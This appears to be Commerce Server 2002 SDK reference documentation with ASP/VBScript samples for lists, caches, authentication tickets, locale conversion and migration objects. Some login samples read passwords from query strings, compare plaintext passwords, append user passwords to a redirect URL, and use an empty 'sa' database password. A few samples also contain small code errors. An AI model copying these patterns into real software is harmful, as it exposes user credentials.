[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Count parameter points to valid data only if the method completes successfully.

The caller should always call this method before calling a SimpleList method that requires an array index in-value as a parameter (such as the Delete method).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleList Object

[Visual Basic] SimpleList Object


ISimpleList::get_Item, put_Item Property [C++]

SimpleList.Item Property [Visual Basic]

The Item property is a read/write Variant that contains an item of the SimpleList object. An initialized Variant is stored at a specified array index. If an item is already stored at the specified index, that item is overwritten by the put procedure.

Definition

[C++]

Get method:

HRESULT ISimpleList::get_Item(
 long Index,
 VARIANT* Item
);

Put method:

HRESULT ISimpleList::put_Item(
 long Index,
 VARIANT Item
);

Putref method:

HRESULT ISimpleList::putref_Item(
 long Index,
 VARIANT Item
);
[Visual Basic]
Property Item(
 Index As Long
) As Variant

Parameters

Index [C++]
[in] A long that contains the index of the item.
Index [Visual Basic]
A Long that contains the index of the item.
Item [C++]
[in] When putting the property, a Variant that contains the new item.
[out, retval] When getting the property, a Variant used to return the item.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList or less than zero.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Item parameter contains valid data only if the method completes successfully.

When putting a value, use the putref_Item method if you are setting an object reference; use the put_Item method if you are setting a scalar value.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleList Object

[Visual Basic] SimpleList Object


Example Code for General Purpose Objects

This section provides detailed code examples of how to use the general purpose objects.

Examples

Example | Description
Code to Write an Error Event to the Commerce Server Event Log | Describes how to write an error event to the Commerce Server 2002 event log.
Code to Read and Display the Contents of a Server-Side File | Describes how to read the contents of a server-side file and write those contents to the browser.
Code to Dump Dictionary Values | Describes how to dump the contents of a Dictionary object.
Code to Create and Manipulate a SimpleList | Describes how to create and work with the SimpleList object.
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.
Code to Generate a GUID | Describes how to generate a globally unique identifier (GUID).
Code to Control Display of a Business Desk Module | Describes how to control whether a specified Business Desk module is displayed to the current user.
Code to Create and Initialize AuthManager | Describes how to instantiate and initialize the AuthManager object.
Code to Manipulate Site Configuration Properties | Describes how to change CS Authentication resource properties.
Code to Retrieve Login Credentials | Describes how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.
Code to Set a New MSCSProfile Ticket | Describes how to create an MSCSProfile ticket.
Code to Retrieve a Profile and Set an MSCSAuth Ticket | Describes how to retrieve a profile using the Commerce Server Profiles resource, and set an MSCSAuth ticket.
Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket | Describes how to retrieve the user ID and password submitted on a HTML form using the Post method, get the profile corresponding to the user ID using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL.
Code to Set a Custom Property on a Ticket | Describes how to create a globally unique identifier (GUID) string and place it on an MSCSAuth ticket as a guid property.
Code to Generate an Encoded URL String | Describes how to generate an encoded URL string from a file name.
Code to Apply Data Type Conversion and Range Checking | Describes how to perform locale-based data type conversion and range validation.
Code to Manipulate and Display Euro Values | Describes how to use the EuroDisplay object to convert currency amounts.
Code to Convert Between Numbers and Strings | Describes how to use the conversion functions of the DataFunctions object.
Code to Display Locale-Specific Strings | Describes how to use locale-based conversion functions of the DataFunctions object.
Code to Manage Common Error Messages to Users | Describes how to add languages and messages to the MessageManager object, and how to write messages to a Web browser.


Code to Write an Error Event to the Commerce Server Event Log

This section describes how to write an error event to the event log.

The first parameter to the WriteErrorEvent method specifies, in this example, the name of the server in which Commerce Server 2002 is installed. The second parameter specifies the event message string.

Create the example ASP page using the following code:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim oAdminEventLog
Set oAdminEventLog = Server.CreateObject("Commerce.AdminEventLog")
oAdminEventLog.Initialize("myServerName")
oAdminEventLog.WriteErrorEvent "mySite", "Error Event Message String"
%>
</BODY>
</HTML>


Code to Read and Display the Contents of a Server-Side File

This example uses the ReadFromFile method of the AdminFiles object to read the text file contents; the Internet Information Services (IIS) intrinsic method Response.Write is then used to write those contents to the browser. If you want to read and write file types other than text files, use the ReadFromBinaryFile method of the AdminFiles object in conjunction with the Response.WriteBinary method.

Create the example ASP page using the following code:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim oAdminFiles, strRet
Set oAdminFiles = Server.CreateObject("Commerce.AdminFiles")
strRet = oAdminFiles.ReadFromFile("c:\temp\Sample.txt")
Response.Write strRet
%>
</BODY>
</HTML>


Code to Dump Dictionary Values

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the CreateObject method of the Internet Information Services (IIS) intrinsic Server object, as follows:

Dim oMyDictionary
Set oMyDictionary = Server.CreateObject("Commerce.Dictionary")

After creating the object, you can add elements to it, as follows:

oMyDictionary.first_name = "Steve"

In this example, first_name is a Dictionary key, and "Steve" becomes the assigned value of this key.

You can extract values from a Dictionary object in several ways. You can place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

my_first_name = oMyDictionary.first_name

Or you can use the Value method to get the value of a given key:

my_first_name = oMyDictionary.value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through either the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' Get the key names.
For Each element in oMyDictionary
    Response.Write element
next

' Get the values.
For Each element in oMyDictionary
    Response.Write oMyDictionary.Value(element)
Next

The following example creates a new Dictionary object, loads values into two keys named first_name and last_name, then writes the element names and element values to the browser:

Set oMyDictionary = Server.CreateObject("Commerce.Dictionary")
oMyDictionary.first_name = "Sam"
oMyDictionary.last_name = "Stone"

' Get the key names.
For Each element in oMyDictionary
    Response.Write "Key = " & element
    Response.Write "    Value = " & oMyDictionary.Value(element)
    Response.Write "<br>"
Next


Code to Create and Manipulate a SimpleList

In the following example, several color values are added to a newly created SimpleList object named ColorList. Once the colors are added, the third color value (blue, with an index value of 2) is removed. Following this, the code iterates through the list, using the Count property to determine the number of items in the SimpleList; in turn, each remaining color is written to the browser.

The example ASP code follows:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim ColorList, Count
Set ColorList = Server.CreateObject("Commerce.SimpleList")
Call ColorList.Add("Red")
Call ColorList.Add("Green")
Call ColorList.Add("Blue")
Call ColorList.Add("Fuschia")
Call ColorList.Delete(2)

' Count will be 3, not 4.
Count = ColorList.Count

' Output will be "Red  Green  Fuschia" on a line by itself.
For i = 0 To (Count - 1)
    Response.Write ColorList(i) & "  "
Next
Response.Write "<br>"
%>
</BODY>
</HTML>


Code to Implement Custom Cache Components

Loader and Writer components are used within the Content Selection Framework (CSF) to load caches and write out campaign results.

Loader and Writer components can be apartment-threaded, because they are created, used once, and then destroyed by the same thread. This means that they can be written in Microsoft Visual Basic.

Loader and Writer components are implemented as pipeline components, although they are not intended to be executed in the context of a pipeline. They must implement the Execute method of the IPipelineComponent interface for the CacheManager object to be able to execute them. Further, if they require configuration, they must

implement the SetConfigData method of the IPipelineComponentAdmin interface. The following tables provide details regarding this requirement.

Loader Component

Method to Implement Details
IPipelineComponent::

Execute

 Required for the Loader component to execute.

The pDispContext parameter is set to the existing cache instance, if it exists, otherwise it is set to a new, empty cache object. If the cache object (specified by the LoaderProgId setting for the cache) is a Dictionary object, then the following additional entries are set:

  • _CacheName set to the name of the cache being refreshed.
  • _CacheRefreshInterval set to the refresh interval.
  • _CacheFirstRefresh set to one (1) on the first cache refresh, and to zero (0) thereafter (can be used for conditional error logging).
  • _AppUrl set to the value of the AppURL property, if any. This entry is optional and may not be set if the CacheManager object is not running in an ASP application.

The pDispOrder parameter is set to a new cache object based on the setting of the LoaderProgId property, normally a Dictionary object or an LRUCache object, which will become the new cache.

The lFlags parameter is set to zero (0).

The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin::

SetConfigInfo

 Optional. Required only if the Loader component requires configuration. Will be called if LoaderConfig property has been set.

The pDict parameter is set to point at the Dictionary object specified by the LoaderConfig property.

Writer Component

Method to Implement | Details
IPipelineComponent:: Execute | Required for the Writer component to execute. The pDispOrder parameter is set to the existing cache instance. Normally a Writer component will retrieve data from the cache to be written to disk. The pDispContext parameter is set to NULL. The lFlags parameter is set to zero (0). The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin:: SetConfigInfo | Optional. Required only if the Writer component requires configuration. Will be called if WriterConfig property has been set. The pDict parameter is set to point at the Dictionary object specified by the WriterConfig property.
' Create a Cache manager component and configure it
Set dictConfig = CreateObject("Commerce.Dictionary")
dictConfig("ConnectionString") = "DSN=adsamples;UID=sa;PWD="
Set CacheManager = Server.CreateObject("Commerce.CacheManager")
CacheManager.LoaderProgId("advertising") = "Commerce.LoadAdvertisements"
Set CacheManager.LoaderConfig("advertising") = dictConfig
CacheManager.WriterProgId("advertising") = "Commerce.WriteEvents"
Set CacheManager.WriterConfig("advertising") = dictConfig
CacheManager.RefreshInterval("advertising") = 10 * 60
CacheManager.RetryInterval("advertising") = 60
Set application("CacheManager") = CacheManager

Now any web page in the application can quickly access the named schedule:

Set CacheManager = application("CacheManager")
Set dictSchedule = CacheManager.GetCache("advertising")


Code to Manipulate an LRUCache Object

The following example code shows how to use the LRUCache object.

' Declare variables to be used.
Dim oLRUCache, oDict, oNewDict, NumVal

' Create an instance of an LRU cache.
Set oLRUCache = CreateObject("Commerce.LRUCache")

' Set the max cache size to 100 items.
oLRUCache.SetSize 100

' Create an object to store.
Set oDict = CreateObject("Commerce.Dictionary")
oDict("Test") = "This is a test."

' Store the Dictionary object.
oLRUCache.Insert "DictObject", oDict

' Store the number 10.
oLRUCache.Insert "Number", 10

' Lookup the stored Dictionary object using method LookupObject.
Dim oNewDict
Set oNewDict = oLRUCache.LookupObject "DictObject"

' Lookup the stored number using method Lookup.
Dim NumVal
NumVal = oLRUCache.Lookup "Number"

' Remove all items from the cache.
oLRUCache.FlushAll

' Display the results, which will be:
' This is a test.
' 10
Response.Write "Dictionary data from cache: " & oDict.Test & "<BR>"
Response.Write "Number stored in cache: " & NumVal & "<BR>"


Code to Generate a GUID

The following example code shows how to generate a globally unique identifier (GUID).

Dim oGenID, sGUID
Set oGenID = Server.CreateObject("Commerce.GenID")

sGUID = oGenID.GenGUIDString()
Set oGenID = Nothing


Code to Control Display of a Business Desk Module

This example shows how to control whether the Catalog Editor module in Commerce Server Business Desk is displayed to the current user.

  1. Open the XML file corresponding to the Catalog Editor module. When the Retail Solution Site is unpackaged to the default installation directory, this file, named Catalogs_editor.xml, will be located in the folder \Inetpub\wwwroot\retailbizdesk\config.

    Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

  2. The name of the ASP file associated with the Catalog Editor module is found in the id attribute of the module element of this file. For more information about the XML format, see Module Configuration Files.
    <module id="catalogs/editor/list_Catalogs.asp">
   <name>Catalog Editor</name>
   <tooltip>Manage Catalog Data</tooltip>
</module>
  3. Create the BizDeskSecurity object.
    Dim oBizDeskSecurity
Set oBizDeskSecurity = Server.CreateObject("Commerce.BizDeskSecurity")
  4. Pass the ASP file to the BizDeskSecurity object.
    If oBizDeskSecurity.CanUserAccess("list_Catalogs.asp") Then
   ' Display the module
End If


Code to Create and Initialize AuthManager

The AuthManager object uses site configuration resource properties. When the AuthManager object is first initialized, it creates a site cache and populates the cache with these properties. If initialized again, it checks the cache for these properties and, if they are not found, they are loaded again. An instance of the AuthManager object is created and initialized in the Global.asa file for the site (for performance reasons) and on every page that uses the AuthManager object.

  1. Create the AuthManager object. Note that the ProgID for the object is different than the object name.
    Dim oAuthManager
Set oAuthManager = Server.CreateObject("Commerce.AuthManager")
  2. Initialize the object to the Retail site.
    oAuthManager.Initialize "Retail"


Code to Manipulate Site Configuration Properties

Whenever a site configuration property used by the AuthManager object is changed, the cache storing these properties must be refreshed. For information on the SiteConfig object, see SiteConfig Object.

  1. Create a SiteConfig object and initialize it to the Retail site.
    Dim oSiteConfig
Set oSiteConfig = Server.CreateObject("Commerce.SiteConfig")
oSiteConfig.Initialize "Retail"
  2. Change the default time window to 90 seconds.
    oSiteConfig.Fields("Site CS Authentication").Value _
 .Fields("u_cookie_time_window").Value = 90

oSiteConfig.SaveConfig
  3. Create and initialize an AuthManager object.
    Dim oAuthManager
Set oAuthManager = Server.CreateObject("Commerce.AuthManager")
oAuthManager.Initialize "Retail"
  4. Refresh the site cache.
    oAuthManager.Refresh "Retail"
  5. Release the objects.
    Set oSiteConfig = Nothing
Set oAuthManager = Nothing


Code to Retrieve Login Credentials

This example shows how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.

  • Retrieve the credentials using the Get method.
    Dim sUserID, sPassword
If Request.QueryString("realSubmit") = "fromButton" Then
    sUserID = Request.QueryString("txtUserName")
    sPassword = Request.QueryString("txtPassword")
End If
  • Retrieve the credentials using the Post method.
    Dim sUserID, sPassword
If Request.Form("realSubmit") = "fromButton" Then
    sUserID = Request.Form("txtUserName")
    sPassword = Request.Form("txtPassword")
End If


Code to Set a New MSCSProfile Ticket

This example shows the creation of a globally unique identifier (GUID), used to identify a user, and the creation of an MSCSProfile ticket, which places the GUID on a persistent cookie for the user.

  1. Create the GenID object.
    Dim oGenID
Set oGenID = Server.CreateObject("Commerce.GenID")
  2. Create the GUID string.
    Dim sGUID
sGUID = oGenID.GenGUIDString()
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, create the MSCSProfile ticket.
    oAuthManager.SetProfileTicket sGUID, True
  4. Release the objects.
    Set oGenID = Nothing
Set oAuthManager = Nothing


Code to Retrieve a Profile and Set an MSCSAuth Ticket

This example shows how to retrieve a profile corresponding to a known user ID using the Commerce Server Profiles resource, and set the userID in an MSCSAuth ticket. For more information about using the Profiles resource, see Example Code for Profile Objects.

  1. Create and initialize the ProfileService object. The sBDSConnect parameter is the connection string to the Profile store where the profile definitions are saved.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
oProfileService.Initialize sBDSConnect, "Profile Definitions"
  2. Retrieve the profile associated with the user ID. If the profile does not exist, redirect the user to a login page.
    Dim oProfileObject
Set oProfileObject = oProfileService.GetProfile(sUserID, "UserObject")
If (oProfileObject Is Nothing) Then
    Response.Redirect "Login.asp"
End If
  3. Retrieve the password associated with the profile.
    Dim sProfilePassword
sProfilePassword = oProfileObject.user_security_password
  4. If the submitted password matches the profile password, set the authentication ticket using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager. If the passwords do not match, redirect the user to the login page.
    If sPassword = sProfilePassword Then
    oAuthManager.SetAuthTicket sUserID, True, 45
Else
    Response.Redirect "Login.asp"
End If
  5. Release the objects.
    Set oProfileService = Nothing
Set oProfileObject = Nothing
Set oAuthManager = Nothing


Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket

This example shows how to retrieve the user ID and password submitted on a HTML form using the Post method, retrieve the profile corresponding to the user ID by using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL. Assume the user entered a user ID and password and clicked the Submit button on an HTML form. For more information about using the Profiles resource, see Example Code for Profile Objects.

  1. Make sure the request is a form submission, then retrieve the user ID and password.
    Dim sUserID, sPassword
If Request.Form("realSubmit") = "fromButton" Then
    sUserID = Request.Form("txtUserName")
    sPassword = Request.Form("txtPassword")
End If
  2. Create and initialize the ProfileService object. The sBDSConnect parameter is the connection string to the Profile store where the profile definitions are saved.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
oProfileService.Initialize sBDSConnect, "Profile Definitions"
  3. Retrieve the profile associated with the submitted user ID. If the profile does not exist, redirect the user to the login page.
    Dim oProfileObject
Set oProfileObject = oProfileService.GetProfile(sUserID, "UserObject")
If (oProfileObject Is Nothing) Then
    Response.Redirect "Login.asp"
End If
  4. Retrieve the password associated with the profile.
    Dim sProfilePassword
sProfilePassword = oProfileObject.user_security_password
  5. If the submitted password matches the profile password, set the authentication ticket use the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager. If the passwords do not match, redirect the user to the login page.
    If sPassword = sProfilePassword Then
    oAuthManager.SetAuthTicket sUserID, True, 45
Else
    Response.Redirect "Login.asp"
End If
  6. Append the user ID and password to the URL string as custom properties. This step is provided for sites using the AuthFilter ISAPI filter in Windows Authentication mode and, in general, is not required. For more information about this mode and specific to this step, see Post Method.
    Dim sReturn
sReturn = Request.Cookies("MSCSFirstRequestedURL")
sReturn = sReturn & "&proxyuser=" & sUserID & "&proxypwd=" & sPassword
  7. Redirect the user to the original requested URL.
    Response.Redirect sReturn
  8. Release the objects.
    Set oProfileService = Nothing
Set oProfileObject = Nothing
Set oAuthManager = Nothing


Code to Set a Custom Property on a Ticket

This example shows how to set a custom property named guid, which holds a globally unique identifier (GUID) string on an MSCSAuth ticket. The technique is also valid for an MSCSProfile ticket and other custom properties. Setting this property is used to thwart a distributed denial of service (DDOS) attack when using the AuthFilter ISAPI filter in Windows Authentication mode. For more information about DDOS, see Distributed Denial of Service Attacks.

  1. Create the GenID object.
    Dim oGenID
Set oGenID = Server.CreateObject("Commerce.GenID")
  2. Create the GUID string.
    Dim sGUID
sGUID = oGenID.GenGUIDString()
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, place the guid property on the previously set MSCSAuth ticket. To place the property on an MSCSProfile ticket, replace the enumMSCS_AuthTicketType parameter with enumMSCS_ProfileTicketType.
    oAuthManager.SetProperty enumMSCS_AuthTicketType, "guid", sGUID
  4. Append the guid property to the URL string as a custom property and redirect the user to the originally requested URL. This step is not required for custom properties in general and is provided for completeness in the DDOS example.
    Dim sReturn
sReturn = Request.Cookies("MSCSFirstRequestedURL") & "guid=" & sGUID
Response.Redirect sReturn
  5. Release the objects.
    Set oGenID = Nothing
Set oAuthManager = Nothing


Code to Generate an Encoded URL String

This example shows how to create an encoded URL string containing custom properties.

  1. Create two SafeArrays to hold the custom property/value pairs.
    Dim savProperties, savValues
  2. Populate the SafeArrays.
    savProperties(0) = "SKU"
savValues(0) = "F13B69881E"
savProperties(1) = "Quantity"
savValues(1) = 3
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, create a URL to reference the file Weeklysales.asp. The second parameter indicates that cookies are disabled and causes the AuthManager object to append the user ID from the MCSCAuth ticket to the string. The third parameter indicates the URL is secure.
    Dim sURL
sURL = oAuthManager.GetURL("Weeklysales.asp", False, True, _
                           savProperties, savValues)
  4. The resulting URL string follows.
    ' sURL = https://host_name/virtual_directory/weeklysales.asp?SKU=
'        F13B69881E&Quantity=3&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E


Code to Apply Data Type Conversion and Range-Checking

This topic describes how to create an Active Server Pages (ASP) page (Form.asp) that contains a form whose contents are checked and converted to a Date Variant. The checking and conversion are performed by the Process.asp file.

The first parameter to the RequestDate method specifies, in the following example, the name of the form field from which the data was submitted. If this text field is empty, the second parameter to the RequestDate method, "1/1/2000", becomes the date that the RequestDate method processes. First, the string expression of the date is converted to a date value based on a specified Locale property (1033, the Locale property for the US, in this instance), and then the value is checked against the specified date range specified by the third and fourth parameters.

If the Form.asp file is loaded into the browser, it will display the date as processed by the RequestDate method in the Process.asp file.

  1. Create the Form.asp file using the following code:
    <FORM METHOD="POST" ACTION = "Process.asp">
<INPUT TYPE="Text" NAME= "Date">
<INPUT TYPE ="Submit" NAME = "Action" VALUE = "Send Info"
</FORM>
  2. Create the Process.asp file using the following code:
    Dim oAppFrameWork, vDate
Set oAppFrameWork = Server.CreateObject("Commerce.AppFrameWork")
vDate = oAppFrameWork.RequestDate("Date", _
                                     "1/1/2000", _
                                     "1/1/2000",  _
                                     "12/12/2000", _
                                     "1033")
If IsNull(vDate) Then
    Response.Write "Invalid Date"
Else
    Response.Write vDate
End If


Code to Manipulate and Display Euro Values

The purpose of this example is to convert currency information from dollars to French Francs. In this example, you create an Active Server Pages (ASP) page that creates a EuroDisplay object, initializes it to set the Base Currency Symbol to "$", the Base Locale to the locale for the US, the Alternate Currency Symbol to "FF", the Alternate Locale to France, and the conversion rate equal to $ 1.00 = 2 FF. The example then converts 100 units of the Base Currency to Alternate Currency units; $100 will convert to 200 Francs.

  1. Instantiate the EuroDisplay object. Note that this line of code is usually found in the Global.asa file.
    Dim EuroDisplay, Result
Set oEuroDisplay= Server.CreateObject("Commerce.EuroDisplay")
  2. Initialize the EuroDisplay object. Note that this line of code is usually found in the Global.asa file. This code will initialize the object by setting the Base Currency Symbol to "$", the Base Locale to the locale for the US, the Alternate Currency Symbol to "FF", the Alternate Locale to France, and the conversion rate equal to $ 1.00 = 2 FF.
    oEuroDisplay.Initialize("$", 1033, "FF", 1036, 2)
  3. Convert $ 100 to FF 200.
    cyAltCurrency = oEuroDisplay.ConvertMoney(100)
  4. Write the converted value to the page.
    Response.Write "Converted $100 from $ to FF ($1 = 2FF) : " _
               & cyAltCurrency


Code to Convert Between Numbers and Strings

The following two examples illustrate the use of the DataFunctions object in converting between string values and numbers.

Converting a Number to a String

Converting a Monetary Value to a Number

Converting a Number to a String

In this example, you create an Active Server Pages (ASP) page that converts a floating-point number into a variety of outputs. All outputs are based on the US locale; this example explores different rounding and trailing zero variable settings.

Create the example using the following code:

  1. Instantiate the DataFunctions object, and set the object Locale property to US.
    Dim oDataFunctions, iResult, iLocale, iInputFloat
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
iLocale = "1033"
oDataFunctions.Locale = iLocale
  2. Call the Float method to convert the number to the US version with no rounding and with trailing zeros maintained. Write the results to the page.
    iInputFloat = 100.00010
iResult = oDataFunctions.Float(iInputFloat, iLocale, True , False)
Response.Write "USA, No Rounding, With Trailing: " & Result & "<P>"
  3. Call the Float method to convert the number to the US version with no rounding and with trailing zeros removed. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, True, True)
Response.Write "USA, No Rounding, Trim Trailing: " & Result & "<P>"
  4. Call the Float method to convert the number to the US version with rounding and with trailing zeros maintained. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, False, False)
Response.Write "USA, Rounding, With Trailing: " & Result & "<P>"
  5. Call the Float method to convert the number to the US version with rounding and with trailing zeros removed. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, False, True)
Response.Write "USA, Rounding, Trim Trailing: " & Result & "<P>"

Converting a Monetary Value to a Number

In this example, you create an ASP page that converts a monetary value to an integer. The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given Locale property.

Thus, given a value in US dollars, the ConvertMoneyStringToNumber method returns the number of cents in the US dollar value. Additionally, the ConvertMoneyStringToNumber method does not round values. For example, if you pass to this method the number "123.009", the method returns 12300, not 12301.

Create the example using the following code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, iResult, sAmount, iLocale
sAmount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set locale to US.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
  3. Convert the string to an integer.
    Result = oDataFunctions.ConvertMoneyStringToNumber("34.095", iLocale)
  4. Write the results to the page.
    Response.Write "USA: " & Result & "<P>"


Code to Display Locale-Specific Strings

This section describes how to create Active Server Pages (ASP) pages that use the string conversion functions of the DataFunctions object.

Converting a Date Based on Locale

Converting a Number Based on Locale

Converting a Money Amount Based on Locale

Converting a Date Based on Locale

In this example, you create an ASP page that converts a date into two locale-specific displays. The first display is that of the French version of the date; the second is the US version.

Create this example using the following ASP code:

  1. Instantiate the DataFunctions object, set the Locale property to France (1036), convert the date string, and write the converted string to the page.
    Dim Result, Amount
Amount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
iLocale = "1036"
oDataFunctions.Locale = iLocale
Result = oDataFunctions.ConvertDateString("12/1/2000", iLocale)
Response.Write "France: " & Result & "<BR>"
  2. Set the Locale property to US (1033), convert the date string, and write the converted string to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
Result = oDataFunctions.ConvertDateString("12/1/2000", iLocale)
Response.Write "USA: " & Result & "<BR>"

Converting a Number Based on Locale

In this example, you create an ASP page that converts a floating-point number into two locale-specific outputs. The first output is that of the French version of the number; the second is the US version.

The output shows the differing display formats of the French and US versions of the number 10000000 (ten million):

  • France: 10 000 000,00
  • US: 10,000,000.00

Create the ASP page using the following code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, sResult, iLocale
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set the Locale property to France (1036), and write the converted number to the page.
    iLocale = "1036"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Number(10000000, iLocale)
Response.Write "France: " & sResult & "<BR>"
  3. Change the Locale property to US (1033), and write the converted number to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Number(10000000, iLocale)
Response.Write " USA: " & sResult & "<BR>"

Converting a Money Amount Based on Locale

In this example, you create an ASP page that converts a floating-point number that contains a monetary value into two locale-specific displays. The first display is that of the French version of the number; the second is the US version.

Use this method to convert a long that contains a monetary value to an equivalent string representation, based on the default or specified Locale property. The output will display the locale-specific currency symbol:

  • France: 120,00 F
  • US: $120.00

Create this example using the following ASP code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, sResult, lAmount
Amount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set the Locale property to France (1036), convert the amount, and write the result to the page.
    iLocale = "1036"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Money(lAmount, iLocale)
Response.Write "France: " & sResult & "<BR>"
  3. Set the Locale property to US (1033), convert the amount, and write the result to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Money(lAmount, iLocale)
Response.Write "USA: " & sResult & "<BR>"


Code to Manage Common Error Messages to Users

The MessageManager object is created in the Global.asa file. For the purposes of this example (although this practice is not recommended), it will be created on an ASP page. In this example, a MessageManager object is created, and two languages (Informal and Formal) are added to it. Following this, a message ("greeting") is added to each language. The message is then written to the page in each language.

  1. Instantiate the MessageManager object.
    Dim oMessMgr, sMessage
Set oMessMgr= Server.CreateObject("Commerce.MessageManager")
  2. Add two new languages to the MessageManager object, specifying the US Locale (1033).
    Call oMessMgr.AddLanguage ("Informal", 1033)
Call oMessMgr.AddLanguage("Formal", 1033)
  3. Add two new messages to the MessageManager object.
    oMessMgr.AddMessage "greeting", "Hi, World!", "Informal"
oMessMgr.AddMessage "greeting", "How do you do, World.", "Formal"
  4. Get the informal message, and write it to the page.
    sMessage = oMessMgr.GetMessage("greeting", "Informal")
Response.Write "Informal Message: "& sMessage & "<BR>"
  5. Get the formal message, and write it to the page.
    sMessage = oMessMgr.GetMessage("greeting", "Formal")
Response.Write "Formal Message: " & sMessage & "<BR>"


Migration Objects

The Migration objects provide functionality to support migration of data from Site Server 3.0 Commerce Edition to Commerce Server 2000.

Objects

Visual Basic Reference | C++ Invocation | Description
MigrationLogObj | MigrationLogObj | Writes migration log data to the data store.
MigrationMainObj | MigrationMainObj | Coordinates migration of data from the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MigrationModifyObj | MigrationModifyObj | Changes data that has been read from the Site Server 3.0 Commerce Edition Membership Directory before it is migrated to the Commerce Server 2002 Profile data store.
MigrationReadObj | MigrationReadObj | Reads values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory, and sends them to the MigrationProfile object.
MigrationWriteObj | MigrationWriteObj | Writes the values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.


MigrationLogObj Object [C++]

MigrationLogObj Object [Visual Basic]

Use this object to write log data to the data store determined by the connection string. The data includes the status of each migration.

ProgID: | MigrationLog (Externally creatable)
COM Class Name: | MigrationLog
Type Library Name: | MigrationLogObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationLog
Interface ID Constant: | None
Header File: | MigrationLog.h

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[C++]

The IMigrationLogObj interface depends on the following structure:

typedef struct _LOGINFO
{
    long  lProfile_id
    BSTR  bstrDN;
    BSTR  bstrObject;
    Long  lErrorCode;
    BSTR  bstrReason;
} LOGINFO;

Requirements

The following table contains the requirements of the MigrationLogObj object.

Parameter | Description
Registry key | SYSTEM\\CurrentControlSet\\Services\\Migration\\Parameters
LogFilePath | The path of the log file. The default is "C:\MigrationLogObj". The data type is String.
MaxNumLinesEachFile | The maximum number of lines in each log file. If the number of lines exceeds this number, another log file is created in the same directory. The data type is DWORD.
MaxNumThreads | The maximum number of threads that run against the migration tool. The default value is four (4). The data type is DWORD.
